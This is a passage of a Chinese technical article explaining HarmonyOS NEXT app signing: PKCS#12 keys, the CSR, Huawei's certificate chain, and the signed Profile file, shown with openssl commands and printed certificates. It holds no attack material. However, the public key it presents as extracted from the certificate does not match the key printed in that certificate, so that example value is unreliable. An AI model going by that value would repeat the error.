本文对鸿蒙公开资料进行了深入分析和解读,梳理了鸿蒙单框架应用的签名机制,拆解每一步的实操过程和背后的实现原理,并对源码分析整理签名的校验机制。从中管中窥豹,探究鸿蒙系统的安全设计思路,希望能给从事鸿蒙研发的同学提供一些借鉴。

1. 背景

华为鸿蒙单框架操作系统HarmonyOS NEXT已于2024年10月23日正式发布Release版。HarmonyOS NEXT仅支持鸿蒙原生应用,不再兼容安卓。本文对鸿蒙公开资料进行了深入分析和解读,梳理了鸿蒙单框架应用的签名机制,拆解每一步的实操过程和背后的实现原理,并对源码分析整理签名的校验机制。从中管中窥豹,探究鸿蒙系统的安全设计思路,希望能给从事鸿蒙研发的同学提供一些借鉴。

成文过程中特别参考OpenHarmony 5.0.0-Release版的文档和源码,详见openharmony

2. 签名机制

签名相关的代码在developtools_hapsigner仓库里,签名流程梳理如下:

签名步骤可按如下分组:

  1. 生成开发者签名证书,包括①、②、③。
  2. 生成Profile文件,包括④、⑤。
  3. 生成签名的App,包括⑥、⑦。

2.1 生成开发者签名证书

① 生成开发者公私钥

通过华为的DevEco-Studio工具可以直接生成包含开发者公私钥的p12文件(详见具体操作步骤。)

笔者示例生成的p12文件(保存为my.p12)是标准的PKCS#12格式(定义在RFC 7292),用来存储一组或多组公钥证书(里面包含公钥)和其对应的私钥(用localKeyID字段进行匹配公私钥的匹配),使用ASN.1来定义其数据结构,并采用DER编码规则将这些结构编码为二进制形式。

可以通过openssl命令解析其结构,或者直接查看公钥证书和私钥信息:

openssl asn1parse -in my.p12 -inform DER  //解码DER和解析ASN.1
openssl pkcs12 -info -in my.p12  //查看公钥证书和私钥信息

笔者用于示例生成的p12文件里包含的公钥证书如下:

-----BEGIN CERTIFICATE-----
MIIBqTCCAU+gAwIBAgIIKG2ih6j2GSswCgYIKoZIzj0EAwIwSTEJMAcGA1UEBhMA
MQkwBwYDVQQIEwAxCTAHBgNVBAcTADEJMAcGA1UEChMAMQkwBwYDVQQLEwAxEDAO
BgNVBAMTB3Rlc3RzY3IwHhcNMjQwOTIzMTI1NjM3WhcNNDkwOTE3MTI1NjM3WjBJ
MQkwBwYDVQQGEwAxCTAHBgNVBAgTADEJMAcGA1UEBxMAMQkwBwYDVQQKEwAxCTAH
BgNVBAsTADEQMA4GA1UEAxMHdGVzdHNjcjBZMBMGByqGSM49AgEGCCqGSM49AwEH
A0IABD28s78rF8+X1JWgkQcfHB2Gy20MCT51Oue6eG5ZbPsUKlZrPx0aRX0einL2
E5WsE3st0zI4yvj0KzhdEwksCWCjITAfMB0GA1UdDgQWBBRtCEWMjEr+bnXoAqSC
fjmk1btJQDAKBggqhkjOPQQDAgNIADBFAiAAiMtQXgCMUxrKtaPKvGqllswi1FRU
h1brCAbJ1t81FgIhAMXbzmeJlA7/zxZDULLRW0rCY6CU3KMDHr8N38EmuDug
-----END CERTIFICATE-----

公钥证书的表示是遵循Privacy Enhanced Mail(PEM)协议(定义在RFC 7468)的文本文件,其格式如下:

PEM 文件的label用于指示文件的内容类型。以下是一些常见的 PEM header和footer(后面会陆续见到):

解析具体公钥证书信息可以采用如下命令(将公钥证书以文本的形式保存为my.pem文件):

openssl x509 -in my.pem -text -noout

解析得到如下输出(重要部分加了注释):

Certificate:
    Data:
        Version: 3 (0x2) //证书的版本号
        Serial Number: 2913163237517564203 (0x286da287a8f6192b) //证书的序列号,用于唯一标识证书
        Signature Algorithm: ecdsa-with-SHA256
        Issuer: C = , ST = , L = , O = , OU = , CN = testscr //证书颁发者的信息
        Validity
            Not Before: Sep 23 12:56:37 2024 GMT //证书的开始有效期
            Not After : Sep 17 12:56:37 2049 GMT //证书的结束有效期
        Subject: C = , ST = , L = , O = , OU = , CN = testscr //证书持有者的信息
        Subject Public Key Info:
            Public Key Algorithm: id-ecPublicKey //公钥算法,这里是椭圆曲线
                Public-Key: (256 bit) //公钥的位数,这里是256
                pub:// 证书持有者的公钥值,以十六进制表示
                    04:3d:bc:b3:bf:2b:17:cf:97:d4:95:a0:91:07:1f:
                    1c:1d:86:cb:6d:0c:09:3e:75:3a:e7:ba:78:6e:59:
                    6c:fb:14:2a:56:6b:3f:1d:1a:45:7d:1e:8a:72:f6:
                    13:95:ac:13:7b:2d:d3:32:38:ca:f8:f4:2b:38:5d:
                    13:09:2c:09:60
                ASN1 OID: prime256v1
                NIST CURVE: P-256
        X509v3 extensions:
            X509v3 Subject Key Identifier: //证书持有者的标识
                6D:08:45:8C:8C:4A:FE:6E:75:E8:02:A4:82:7E:39:A4:D5:BB:49:40
    Signature Algorithm: ecdsa-with-SHA256
    Signature Value: //证书的数字签名值
        30:45:02:20:00:88:cb:50:5e:00:8c:53:1a:ca:b5:a3:ca:bc:
        6a:a5:96:cc:22:d4:54:54:87:56:eb:08:06:c9:d6:df:35:16:
        02:21:00:c5:db:ce:67:89:94:0e:ff:cf:16:43:50:b2:d1:5b:
        4a:c2:63:a0:94:dc:a3:03:1e:bf:0d:df:c1:26:b8:3b:a0

公钥信息(包括公钥算法、公钥位数、公钥值等)属于结构化数据并且较长,不利于识别和比较,所以需要用一个简短的字符串来标识公钥唯一性。常用做法是使用公钥指纹(Public Key Pin,也叫公钥Pin),计算方式是对DER编码的公钥进行SHA-256计算并进行Base64编码。

这里需要注意的是,在X509扩展字段里包括了Subject Key Identifier(SKID)字段,也是证书持有者的标识。那标识公钥的唯一性为什么不直接使用证书里自带的SKID,还要自己算一遍呢,根据RFC 3280-4.2.1.2章节中对SKID的定义:

For CA certificates, subject key identifiers SHOULD be derived from the public key or a method that generates unique values.

Two common methods for generating key identifiers from the public key are:

(1) The keyIdentifier is composed of the 160-bit SHA-1 hash of the value of the BIT STRING subjectPublicKey (excluding the tag, length, and number of unused bits).

(2) The keyIdentifier is composed of a four bit type field with the value 0100 followed by the least significant 60 bits of the SHA-1 hash of the value of the BIT STRING subjectPublicKey (excluding the tag, length, and number of unused bit string bits).

SKID的计算可以通过公钥得到,但计算方式并不唯一,也可以通过任意的算法得到,只要保证唯一性就可以了。定义里推荐了两种基于SHA-1的算法,openssl采用的算法(详见v3_skid.c的ossl_x509_pubkey_hash函数)是对DER编码的公钥进行SHA-1计算。

如果采用SKID来进行公钥的唯一性校验,那么攻击者可以伪造一个证书,里面的SKID和你的一样(SHA-1碰撞,或者直接照抄一下也行),这样的证书也是合法的,就可以轻易绕过对公钥的校验。所以SKID一般只用于在证书链中寻找父子关系,并不用于公钥的唯一性标识。另外,还有Authority Key Identifier(AKID)字段用于标识证书的颁发者。当验证一个证书链时,验证程序会检查每个证书的AKID和上一个证书的SKID是否匹配,确保它们形成一个连续的信任链。

使用如下命令可以从PEM协议的公钥证书中提取PEM协议的公钥:

openssl x509 -in my.pem -pubkey -noout

输出如下:

-----BEGIN PUBLIC KEY----- //公钥标头
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE95zFs5cFHauzIYEuuw3g2R75a1ir
qEW0JWP9qAKkyVCizN0nnzcn/Fo5oeSZR1iPUnJvjlnpNvZL9BcQbLqa7g==
-----END PUBLIC KEY-----

使用如下命令可以继续转换成DER编码并计算SHA-256和Base64编码:

openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64

所以结合使用如下命令可以直接从符合PEM协议的公钥证书文件中得到对应的公钥指纹:

openssl x509 -in my.pem -pubkey -noout | openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64

最终笔者示例的公钥证书计算得到的公钥指纹为:

fzyRjPvTPElBAj0VlYlVA74M3RMtUh5ljKbOYf1NDA0=

② 生成证书签名请求

同样通过DevEco-Studio可以直接生成证书签名请求Certificate Signing Request(CSR)文件(详见具体操作步骤)。得到的CSR内容示例如下:

-----BEGIN NEW CERTIFICATE REQUEST----- //CSR标头
MIIBMzCB2wIBADBJMQkwBwYDVQQGEwAxCTAHBgNVBAgTADEJMAcGA1UEBxMAMQkw
BwYDVQQKEwAxCTAHBgNVBAsTADEQMA4GA1UEAxMHdGVzdHNjcjBZMBMGByqGSM49
AgEGCCqGSM49AwEHA0IABD28s78rF8+X1JWgkQcfHB2Gy20MCT51Oue6eG5ZbPsU
KlZrPx0aRX0einL2E5WsE3st0zI4yvj0KzhdEwksCWCgMDAuBgkqhkiG9w0BCQ4x
ITAfMB0GA1UdDgQWBBRtCEWMjEr+bnXoAqSCfjmk1btJQDAKBggqhkjOPQQDAgNH
ADBEAiAlzkRf0AHKh59/deFGo/4JHQRSbw6P+Q7qsiiMMWHT7wIgGugWrCm7tFLh
mRjEEyJNOpen9kfhyOanSRrwtBlEFc0=
-----END NEW CERTIFICATE REQUEST-----

生成的CSR文件是标准的PKCS#10格式(定义在RFC 2986),用于向证书颁发机构(CA)请求签发数字证书的文件,包含申请者的公钥和一些身份信息,这些信息将包含在颁发的证书中。可以看到CSR文件也是遵循PEM协议的,可以如下命令解析CSR文件的内容(保存为my.csr文件):

openssl req -text -noout -verify -in my.csr

输出示例(重要部分加了注释):

Certificate request self-signature verify OK //表明CSR的自签名已成功验证
Certificate Request:
    Data:
        Version: 1 (0x0)
        Subject: C = , ST = , L = , O = , OU = , CN = testscr //证书申请者的信息
        Subject Public Key Info:
            Public Key Algorithm: id-ecPublicKey
                Public-Key: (256 bit)
                pub: //证书申请者的公钥值,和上面my.pem里的公钥值相同
                    04:3d:bc:b3:bf:2b:17:cf:97:d4:95:a0:91:07:1f:
                    1c:1d:86:cb:6d:0c:09:3e:75:3a:e7:ba:78:6e:59:
                    6c:fb:14:2a:56:6b:3f:1d:1a:45:7d:1e:8a:72:f6:
                    13:95:ac:13:7b:2d:d3:32:38:ca:f8:f4:2b:38:5d:
                    13:09:2c:09:60
                ASN1 OID: prime256v1
                NIST CURVE: P-256
        Attributes:
            Requested Extensions:
                X509v3 Subject Key Identifier: //证书申请者的标识
                    6D:08:45:8C:8C:4A:FE:6E:75:E8:02:A4:82:7E:39:A4:D5:BB:49:40
    Signature Algorithm: ecdsa-with-SHA256
    Signature Value:
        30:44:02:20:25:ce:44:5f:d0:01:ca:87:9f:7f:75:e1:46:a3:
        fe:09:1d:04:52:6f:0e:8f:f9:0e:ea:b2:28:8c:31:61:d3:ef:
        02:20:1a:e8:16:ac:29:bb:b4:52:e1:99:18:c4:13:22:4d:3a:
        97:a7:f6:47:e1:c8:e6:a7:49:1a:f0:b4:19:44:15:cd

注意到其中证书申请者的公钥值和上面p12文件中的公钥值是一样的,说明CSR中包含了我们的公钥信息。使用如下命令也可以直接从CSR文件中得到公钥指纹:

openssl req -in my.csr -pubkey -noout | openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64

示例生成的CSR计算得到的公钥指纹为:

fzyRjPvTPElBAj0VlYlVA74M3RMtUh5ljKbOYf1NDA0=

和通过公钥证书计算得到的公钥指纹相同。

③ 生成开发者签名叶子证书

证书的作用可以抽象概括为:

颁发者(Issuer)说:持有者(Subject)的公钥是某某某。

证书一般分为三级:根证书(Root Certificate)、中间证书(Intermediate Certificate)、叶子证书(Leaf Certificate)。

  • 叶子证书由中间证书颁发(即叶子证书的Issuer+AKID和中间证书的Subject+SKID相同)
  • 中间证书由根证书颁发(即中间证书的Issuer+AKID和根证书的Subject+SKID相同)
  • 根证书由自己颁发(也就是自签名,根证书的Issuer和Subject相同)

我们需要的是用于给我们App签名的开发者签名叶子证书,这需要华为的开发者签名中间证书来帮我们颁发。叶子证书分为调试证书和发布证书,我们以发布证书为例(详见具体操作步骤):

需要上传我们的CSR文件,得到的证书文件内容示例如下:

-----BEGIN CERTIFICATE-----
MIICGjCCAaGgAwIBAgIIShhpn519jNAwCgYIKoZIzj0EAwMwUzELMAkGA1UEBhMC
Q04xDzANBgNVBAoMBkh1YXdlaTETMBEGA1UECwwKSHVhd2VpIENCRzEeMBwGA1UE
AwwVSHVhd2VpIENCRyBSb290IENBIEcyMB4XDTIwMDMxNjAzMDQzOVoXDTQ5MDMx
NjAzMDQzOVowUzELMAkGA1UEBhMCQ04xDzANBgNVBAoMBkh1YXdlaTETMBEGA1UE
CwwKSHVhd2VpIENCRzEeMBwGA1UEAwwVSHVhd2VpIENCRyBSb290IENBIEcyMHYw
EAYHKoZIzj0CAQYFK4EEACIDYgAEWidkGnDSOw3/HE2y2GHl+fpWBIa5S+IlnNrs
GUvwC1I2QWvtqCHWmwFlFK95zKXiM8s9yV3VVXh7ivN8ZJO3SC5N1TCrvB2lpHMB
wcz4DA0kgHCMm/wDec6kOHx1xvCRo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0T
AQH/BAUwAwEB/zAdBgNVHQ4EFgQUo45a9Vq8cYwqaiVyfkiS4pLcIAAwCgYIKoZI
zj0EAwMDZwAwZAIwMypeB7P0IbY7c6gpWcClhRznOJFj8uavrNu2PIoz9KIqr3jn
BlBHJs0myI7ntYpEAjBbm8eDMZY5zq5iMZUC6H7UzYSix4Uy1YlsLVV738PtKP9h
FTjgDHctXJlC5L7+ZDY=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDATCCAoigAwIBAgIIXmuDXbWpOB8wCgYIKoZIzj0EAwMwUzELMAkGA1UEBhMC
Q04xDzANBgNVBAoMBkh1YXdlaTETMBEGA1UECwwKSHVhd2VpIENCRzEeMBwGA1UE
AwwVSHVhd2VpIENCRyBSb290IENBIEcyMB4XDTIwMDcwOTAyMDQyNFoXDTMwMDcw
NzAyMDQyNFowYjELMAkGA1UEBgwCQ04xDzANBgNVBAoMBkh1YXdlaTETMBEGA1UE
CwwKSHVhd2VpIENCRzEtMCsGA1UEAwwkSHVhd2VpIENCRyBEZXZlbG9wZXIgUmVs
YXRpb25zIENBIEcyMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAE65LdoIZh1hlpZ2gP
bJ6gPhHsvYSRe22KETgdqeVeYnrbRHI9wsPT6RGYS+pU4mPl6wxzgDMqN6SY/BoZ
luhkE1PzaHoPoNIWIq0O33hpyKyyYwAacIUEjYurkw1E9r9no4IBGDCCARQwHwYD
VR0jBBgwFoAUo45a9Vq8cYwqaiVyfkiS4pLcIAAwHQYDVR0OBBYEFNtek7Ij6NDk
/nF6Zumkc0dbf/NeMEYGA1UdIAQ/MD0wOwYEVR0gADAzMDEGCCsGAQUFBwIBFiVo
dHRwOi8vY3BraS1jYXdlYi5odWF3ZWkuY29tL2Nwa2kvY3BzMBIGA1UdEwEB/wQI
MAYBAf8CAQAwDgYDVR0PAQH/BAQDAgEGMGYGA1UdHwRfMF0wW6BZoFeGVWh0dHA6
Ly9jcGtpLWNhd2ViLmh1YXdlaS5jb20vY3BraS9zZXJ2bGV0L2NybEZpbGVEb3du
LmNybD9jZXJ0eXBlPTEwJi9yb290X2cyX2NybC5jcmwwCgYIKoZIzj0EAwMDZwAw
ZAIwWO1X5q2MdfpR1Q237GpUHGbL1C13rGyFg2p3AYo44FpZ2/A9ss0wOHKM4KDl
ZPqdAjBLkf8NPZy7KVog98+iCTLq35DJ2ZVxkCxknA9YhiHVyXf4HPm4JlT7rW7o
Q+FzM3c=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIICujCCAkGgAwIBAgIOY8ui/vvwxqFf+kFokYUwCgYIKoZIzj0EAwMwYjELMAkG
A1UEBgwCQ04xDzANBgNVBAoMBkh1YXdlaTETMBEGA1UECwwKSHVhd2VpIENCRzEt
MCsGA1UEAwwkSHVhd2VpIENCRyBEZXZlbG9wZXIgUmVsYXRpb25zIENBIEcyMB4X
DTI0MDkyMzEyNTgwNFoXDTI3MDkyMzEyNTgwNFowazELMAkGA1UEBhMCQ04xDzAN
BgNVBAoMBuW8oOaZqDEcMBoGA1UECwwTMTI4OTY3Njc4NjA2NTQ5NDk3NzEtMCsG
A1UEAwwk5byg5pmoKDEyODk2NzY3ODYwNjU0OTQ5NzcpXCxSZWxlYXNlMFkwEwYH
KoZIzj0CAQYIKoZIzj0DAQcDQgAEPbyzvysXz5fUlaCRBx8cHYbLbQwJPnU657p4
blls+xQqVms/HRpFfR6KcvYTlawTey3TMjjK+PQrOF0TCSwJYKOB0TCBzjAMBgNV
HRMBAf8EAjAAMFkGA1UdHwRSMFAwTqBMoEqGSGh0dHA6Ly9oNWhvc3RpbmctZHJj
bi5kYmFua2Nkbi5jbi9jY2g1L2NybC9oZHJjYWcyL0h1YXdlaUNCR0hEUkcyY3Js
LmNybDAfBgNVHSMEGDAWgBTbXpOyI+jQ5P5xembppHNHW3/zXjAdBgNVHQ4EFgQU
bQhFjIxK/m516AKkgn45pNW7SUAwDgYDVR0PAQH/BAQDAgeAMBMGA1UdJQQMMAoG
CCsGAQUFBwMDMAoGCCqGSM49BAMDA2cAMGQCMFzNlsafNs7ad5xelZOzCebdRofE
VaQZJW0o5QAdTX0t9Ij1o/zUm0bXIf8ZZTJLYgIwKuuZu+LeLCLZJFEM7tYKDhIK
TegCiesP1THuMgiZhZYOYl1kIZBPVrEB8O1wtxEm
-----END CERTIFICATE-----

可以看到叶子证书文件里也包括了中间证书和根证书,分别解析证书信息如下:

根证书:

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 5339133492510690512 (0x4a18699f9d7d8cd0)
        Signature Algorithm: ecdsa-with-SHA384
        Issuer: C = CN, O = Huawei, OU = Huawei CBG, CN = Huawei CBG Root CA G2
        Validity
            Not Before: Mar 16 03:04:39 2020 GMT
            Not After : Mar 16 03:04:39 2049 GMT
        Subject: C = CN, O = Huawei, OU = Huawei CBG, CN = Huawei CBG Root CA G2
        Subject Public Key Info:
            Public Key Algorithm: id-ecPublicKey
                Public-Key: (384 bit)
                pub:
                    04:5a:27:64:1a:70:d2:3b:0d:ff:1c:4d:b2:d8:61:
                    e5:f9:fa:56:04:86:b9:4b:e2:25:9c:da:ec:19:4b:
                    f0:0b:52:36:41:6b:ed:a8:21:d6:9b:01:65:14:af:
                    79:cc:a5:e2:33:cb:3d:c9:5d:d5:55:78:7b:8a:f3:
                    7c:64:93:b7:48:2e:4d:d5:30:ab:bc:1d:a5:a4:73:
                    01:c1:cc:f8:0c:0d:24:80:70:8c:9b:fc:03:79:ce:
                    a4:38:7c:75:c6:f0:91
                ASN1 OID: secp384r1
                NIST CURVE: P-384
        X509v3 extensions:
            X509v3 Key Usage: critical
                Certificate Sign, CRL Sign
            X509v3 Basic Constraints: critical
                CA:TRUE
            X509v3 Subject Key Identifier: 
                A3:8E:5A:F5:5A:BC:71:8C:2A:6A:25:72:7E:48:92:E2:92:DC:20:00
    Signature Algorithm: ecdsa-with-SHA384
    Signature Value:
        30:64:02:30:33:2a:5e:07:b3:f4:21:b6:3b:73:a8:29:59:c0:
        a5:85:1c:e7:38:91:63:f2:e6:af:ac:db:b6:3c:8a:33:f4:a2:
        2a:af:78:e7:06:50:47:26:cd:26:c8:8e:e7:b5:8a:44:02:30:
        5b:9b:c7:83:31:96:39:ce:ae:62:31:95:02:e8:7e:d4:cd:84:
        a2:c7:85:32:d5:89:6c:2d:55:7b:df:c3:ed:28:ff:61:15:38:
        e0:0c:77:2d:5c:99:42:e4:be:fe:64:36

中间证书:

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 6803676100576229407 (0x5e6b835db5a9381f)
        Signature Algorithm: ecdsa-with-SHA384
        Issuer: C = CN, O = Huawei, OU = Huawei CBG, CN = Huawei CBG Root CA G2
        Validity
            Not Before: Jul  9 02:04:24 2020 GMT
            Not After : Jul  7 02:04:24 2030 GMT
        Subject: C = CN, O = Huawei, OU = Huawei CBG, CN = Huawei CBG Developer Relations CA G2
        Subject Public Key Info:
            Public Key Algorithm: id-ecPublicKey
                Public-Key: (384 bit)
                pub:
                    04:eb:92:dd:a0:86:61:d6:19:69:67:68:0f:6c:9e:
                    a0:3e:11:ec:bd:84:91:7b:6d:8a:11:38:1d:a9:e5:
                    5e:62:7a:db:44:72:3d:c2:c3:d3:e9:11:98:4b:ea:
                    54:e2:63:e5:eb:0c:73:80:33:2a:37:a4:98:fc:1a:
                    19:96:e8:64:13:53:f3:68:7a:0f:a0:d2:16:22:ad:
                    0e:df:78:69:c8:ac:b2:63:00:1a:70:85:04:8d:8b:
                    ab:93:0d:44:f6:bf:67
                ASN1 OID: secp384r1
                NIST CURVE: P-384
        X509v3 extensions:
            X509v3 Authority Key Identifier: 
                A3:8E:5A:F5:5A:BC:71:8C:2A:6A:25:72:7E:48:92:E2:92:DC:20:00
            X509v3 Subject Key Identifier: 
                DB:5E:93:B2:23:E8:D0:E4:FE:71:7A:66:E9:A4:73:47:5B:7F:F3:5E
            X509v3 Certificate Policies: 
                Policy: X509v3 Any Policy
                  CPS: http://cpki-caweb.huawei.com/cpki/cps
            X509v3 Basic Constraints: critical
                CA:TRUE, pathlen:0
            X509v3 Key Usage: critical
                Certificate Sign, CRL Sign
            X509v3 CRL Distribution Points: 
                Full Name:
                  URI:http://cpki-caweb.huawei.com/cpki/servlet/crlFileDown.crl?certype=10&/root_g2_crl.crl
    Signature Algorithm: ecdsa-with-SHA384
    Signature Value:
        30:64:02:30:58:ed:57:e6:ad:8c:75:fa:51:d5:0d:b7:ec:6a:
        54:1c:66:cb:d4:2d:77:ac:6c:85:83:6a:77:01:8a:38:e0:5a:
        59:db:f0:3d:b2:cd:30:38:72:8c:e0:a0:e5:64:fa:9d:02:30:
        4b:91:ff:0d:3d:9c:bb:29:5a:20:f7:cf:a2:09:32:ea:df:90:
        c9:d9:95:71:90:2c:64:9c:0f:58:86:21:d5:c9:77:f8:1c:f9:
        b8:26:54:fb:ad:6e:e8:43:e1:73:33:77

叶子证书:

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            63:cb:a2:fe:fb:f0:c6:a1:5f:fa:41:68:91:85
        Signature Algorithm: ecdsa-with-SHA384
        Issuer: C = CN, O = Huawei, OU = Huawei CBG, CN = Huawei CBG Developer Relations CA G2
        Validity
            Not Before: Sep 23 12:58:04 2024 GMT
            Not After : Sep 23 12:58:04 2027 GMT
        Subject: C = CN, O = \E5\BC\A0\E6\99\A8, OU = 1289676786065494977, CN = "\E5\BC\A0\E6\99\A8(1289676786065494977)\\,Release"
        Subject Public Key Info:
            Public Key Algorithm: id-ecPublicKey
                Public-Key: (256 bit)
                pub:
                    04:3d:bc:b3:bf:2b:17:cf:97:d4:95:a0:91:07:1f:
                    1c:1d:86:cb:6d:0c:09:3e:75:3a:e7:ba:78:6e:59:
                    6c:fb:14:2a:56:6b:3f:1d:1a:45:7d:1e:8a:72:f6:
                    13:95:ac:13:7b:2d:d3:32:38:ca:f8:f4:2b:38:5d:
                    13:09:2c:09:60
                ASN1 OID: prime256v1
                NIST CURVE: P-256
        X509v3 extensions:
            X509v3 Basic Constraints: critical
                CA:FALSE
            X509v3 CRL Distribution Points: 
                Full Name:
                  URI:http://h5hosting-drcn.dbankcdn.cn/cch5/crl/hdrcag2/HuaweiCBGHDRG2crl.crl
            X509v3 Authority Key Identifier: 
                DB:5E:93:B2:23:E8:D0:E4:FE:71:7A:66:E9:A4:73:47:5B:7F:F3:5E
            X509v3 Subject Key Identifier: 
                6D:08:45:8C:8C:4A:FE:6E:75:E8:02:A4:82:7E:39:A4:D5:BB:49:40
            X509v3 Key Usage: critical
                Digital Signature
            X509v3 Extended Key Usage: 
                Code Signing
    Signature Algorithm: ecdsa-with-SHA384
    Signature Value:
        30:64:02:30:5c:cd:96:c6:9f:36:ce:da:77:9c:5e:95:93:b3:
        09:e6:dd:46:87:c4:55:a4:19:25:6d:28:e5:00:1d:4d:7d:2d:
        f4:88:f5:a3:fc:d4:9b:46:d7:21:ff:19:65:32:4b:62:02:30:
        2a:eb:99:bb:e2:de:2c:22:d9:24:51:0c:ee:d6:0a:0e:12:0a:
        4d:e8:02:89:eb:0f:d5:31:ee:32:08:99:85:96:0e:62:5d:64:
        21:90:4f:56:b1:01:f0:ed:70:b7:11:26

注意到,颁发下来的叶子证书里Subject和我们申请时所使用的CSR里的Subject不同,叶子证书里是:

Subject: C = CN, O = \E5\BC\A0\E6\99\A8, OU = 1289676786065494977, CN = "\E5\BC\A0\E6\99\A8(1289676786065494977)\,Release"

CSR里是:

Subject: C = , ST = , L = , O = , OU = , CN = testscr

说明华为在颁发叶子证书的时候,并没有使用我们CSR里的Subject,而是根据我们在开发者平台网站上登陆的账号信息,对Subject进行了填充。其中OU字段跟账号信息有关(类似iOS的Team ID,但在华为开发者网站上没有找到直接查看的地方)。叶子证书里的公钥信息还是和CSR保持一致,计算得到的公钥指纹也一样。

另外,华为目前给叶子证书的有效期是3年,3年以后需要续期成新证书。当然,如果续期新证书的时候使用的CSR不变,那么新证书的公钥指纹也依然会保持不变。

2.2 生成Profile文件

④ 登记App信息

这里主要是在华为开发者平台上登记一下App的各项信息,跟着操作步骤来即可:

需要注意的是,包名填写的时候,平台会在线检查一下是否和已经存在的包名有重复(包括其他人申请的包名)。申请成功以后,会分配一个唯一的APP ID:

这个APP ID用来在网站上标识APP的唯一性。后面文章中会出现类似的名称,为了消除歧义,相似的字段用括号内容区分,这里称为APP ID(网站)。

⑤ 生成Profile文件

Profile文件是描述App的包名、签名、申请的权限列表、安装包类型、可安装设备等信息的文件(类似iOS的Provisioning Profile),签名后保存为Cryptographic Message Syntax格式(CMS,扩展的PKCS#7/格式,CMS定义在RFC 5652,PKCS#7定义在RFC 2315。)

跟着操作步骤,选择之前的APP ID(网站)和证书,可以得到对应的Profile文件:

Profile也分为发布和调试两种,发布只能选择发布证书,调试只能选择调试证书。这里继续以发布类型为例,生成的Profile文件(保存为my.p7b)被华为签名后, 通过如下命令可以查看里面的所有信息:

openssl pkcs7 -in my.p7b -print -inform DER

主要包括配置信息和签名信息两部分,也可以通过如下命令分别查看配置信息和签名信息:

openssl smime -verify -in my.p7b -inform DER -noverify //查看配置信息
openssl pkcs7 -in my.p7b -print_certs  -inform DER //查看证书信息

得到的示例配置信息如下(*为手动打码):

{
    "version-name": "2.0.0",
    "version-code": 2,
    "app-distribution-type": "app_gallery",
    "uuid": "234e1d73-****-****-****-f81e2598d0ff",
    "validity": {
        "not-before": 1727096284,
        "not-after": 1821704284
    },
    "type": "release",
    "bundle-info": {
        "developer-id": "300**********7916",
        "distribution-certificate": "-----BEGIN CERTIFICATE-----\nMIICujCCAkGgAwIBAgIOY8ui/vvwxqFf+kFokYUwCgYIKoZIzj0EAwMwYjELMAkG\nA1UEBgwCQ04xDzANBgNVBAoMBkh1YXdlaTETMBEGA1UECwwKSHVhd2VpIENCRzEt\nMCsGA1UEAwwkSHVhd2VpIENCRyBEZXZlbG9wZXIgUmVsYXRpb25zIENBIEcyMB4X\nDTI0MDkyMzEyNTgwNFoXDTI3MDkyMzEyNTgwNFowazELMAkGA1UEBhMCQ04xDzAN\nBgNVBAoMBuW8oOaZqDEcMBoGA1UECwwTMTI4OTY3Njc4NjA2NTQ5NDk3NzEtMCsG\nA1UEAwwk5byg5pmoKDEyODk2NzY3ODYwNjU0OTQ5NzcpXCxSZWxlYXNlMFkwEwYH\nKoZIzj0CAQYIKoZIzj0DAQcDQgAEPbyzvysXz5fUlaCRBx8cHYbLbQwJPnU657p4\nblls+xQqVms/HRpFfR6KcvYTlawTey3TMjjK+PQrOF0TCSwJYKOB0TCBzjAMBgNV\nHRMBAf8EAjAAMFkGA1UdHwRSMFAwTqBMoEqGSGh0dHA6Ly9oNWhvc3RpbmctZHJj\nbi5kYmFua2Nkbi5jbi9jY2g1L2NybC9oZHJjYWcyL0h1YXdlaUNCR0hEUkcyY3Js\nLmNybDAfBgNVHSMEGDAWgBTbXpOyI+jQ5P5xembppHNHW3/zXjAdBgNVHQ4EFgQU\nbQhFjIxK/m516AKkgn45pNW7SUAwDgYDVR0PAQH/BAQDAgeAMBMGA1UdJQQMMAoG\nCCsGAQUFBwMDMAoGCCqGSM49BAMDA2cAMGQCMFzNlsafNs7ad5xelZOzCebdRofE\nVaQZJW0o5QAdTX0t9Ij1o/zUm0bXIf8ZZTJLYgIwKuuZu+LeLCLZJFEM7tYKDhIK\nTegCiesP1THuMgiZhZYOYl1kIZBPVrEB8O1wtxEm\n-----END CERTIFICATE-----\n",
        "bundle-name": "com.***.test",
        "apl": "normal",
        "app-feature": "hos_normal_app",
        "app-identifier": "576************2509"
    },
    "baseapp-info": {},
    "permissions": {},
    "acls": {},
    "issuer": "app_gallery"
}

具体每个字段的含义可以参考官方文档源码中的定义,其中重点字段解析如下:

得到的示例证书内容如下:

subject=C = CN, O = Huawei, OU = Huawei CBG, CN = Huawei CBG Root CA G2
issuer=C = CN, O = Huawei, OU = Huawei CBG, CN = Huawei CBG Root CA G2
-----BEGIN CERTIFICATE-----
MIICGjCCAaGgAwIBAgIIShhpn519jNAwCgYIKoZIzj0EAwMwUzELMAkGA1UEBhMC
Q04xDzANBgNVBAoMBkh1YXdlaTETMBEGA1UECwwKSHVhd2VpIENCRzEeMBwGA1UE
AwwVSHVhd2VpIENCRyBSb290IENBIEcyMB4XDTIwMDMxNjAzMDQzOVoXDTQ5MDMx
NjAzMDQzOVowUzELMAkGA1UEBhMCQ04xDzANBgNVBAoMBkh1YXdlaTETMBEGA1UE
CwwKSHVhd2VpIENCRzEeMBwGA1UEAwwVSHVhd2VpIENCRyBSb290IENBIEcyMHYw
EAYHKoZIzj0CAQYFK4EEACIDYgAEWidkGnDSOw3/HE2y2GHl+fpWBIa5S+IlnNrs
GUvwC1I2QWvtqCHWmwFlFK95zKXiM8s9yV3VVXh7ivN8ZJO3SC5N1TCrvB2lpHMB
wcz4DA0kgHCMm/wDec6kOHx1xvCRo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0T
AQH/BAUwAwEB/zAdBgNVHQ4EFgQUo45a9Vq8cYwqaiVyfkiS4pLcIAAwCgYIKoZI
